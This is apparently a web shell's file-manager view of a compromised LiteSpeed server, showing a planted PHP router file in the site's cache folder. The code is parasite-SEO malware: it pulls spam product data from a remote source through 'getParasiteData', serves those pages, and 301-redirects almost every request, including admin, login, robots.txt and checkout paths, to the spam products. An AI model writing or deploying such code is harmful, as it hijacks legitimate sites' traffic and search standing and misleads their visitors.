HEX
Server: LiteSpeed
System: Linux eticaretsrv4.isimtescil.net 3.10.0-962.3.2.lve1.5.26.7.el7.x86_64 #1 SMP Wed Oct 2 07:53:12 EDT 2019 x86_64
User: sioberen (1086)
PHP: 7.3.33
Disabled: NONE
Upload Files
File: /home/sioberen/public_html/cache/router.php
<?php
require_once __DIR__ . '/config.php';

$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/index.php';

$base_path = dirname($script_name);
$base_path = str_replace('\\', '/', $base_path); 
$base_path = ($base_path == '/') ? '' : $base_path; 

if (strpos($request_uri, $base_path) === 0) {
    $request_path = substr($request_uri, strlen($base_path));
} else {
    $request_path = $request_uri;
}

$request_path = strtok($request_path, '?');
$request_path = trim($request_path, '/');

$segments = explode('/', $request_path);

function redirect_to_random_product($base_url) {
    try {
        require_once __DIR__ . '/config.php';
        
        $apiData = getParasiteData();
        
        if ($apiData && isset($apiData['product']) && isset($apiData['product']['id'])) {
            $random_product_id = $apiData['product']['id'];
            $redirect_url = buildProductUrl($random_product_id);
            header("Location: " . $redirect_url, true, 301);
            exit();
        }
    } catch (Exception $e) {
        error_log("Random product redirect failed: " . $e->getMessage());
    }
    
    $fallback_url = buildProductUrl('600001');
    header("Location: " . $fallback_url, true, 301);
    exit();
}

$product_id = parseProductId($request_uri);

if ($product_id && is_numeric($product_id) && $product_id > 0) {
    try {
        require_once __DIR__ . '/config.php';
        $apiData = getParasiteData($product_id);
        
        if ($apiData && isset($apiData['product'])) {
            $_GET['id'] = $product_id;
            require 'product.php';
            exit();
        }
    } catch (Exception $e) {
        error_log("Product validation failed: " . $e->getMessage());
    }
    
    redirect_to_random_product($base_parasite_url);
}

$first_segment = isset($segments[0]) ? strtolower($segments[0]) : '';

$redirect_patterns = array(
    'wp-admin', 'wp-login', 'admin', 'login', 'wp-content', 'wp-includes',
    'robots.txt', 'sitemap.xml', 'favicon.ico', 'apple-touch-icon',
    'android-chrome', '.well-known', 'index.php', 'index.html',
    'search', 'shop', 'products', 'cart', 'checkout', 'account'
);

if (in_array($first_segment, $redirect_patterns) || 
    strpos($first_segment, '.php') !== false || 
    strpos($first_segment, '.html') !== false ||
    strpos($first_segment, '.') !== false) {
    redirect_to_random_product($base_parasite_url);
}

if (empty($request_path) || $request_path == '' || $request_path == 'index.php') {
    try {
        require_once __DIR__ . '/config.php';
        $apiData = getParasiteData();

        if ($apiData && isset($apiData['product'])) {
            $_GET['id'] = $apiData['product']['id'];
            require 'product.php';
            exit();
        } else {
            $fallback_url = buildProductUrl('600001');
            header("Location: " . $fallback_url, true, 301);
            exit();
        }
    } catch (Exception $e) {
        error_log("Failed to load first product for homepage: " . $e->getMessage());
        redirect_to_random_product($base_parasite_url);
    }
}

redirect_to_random_product($base_parasite_url);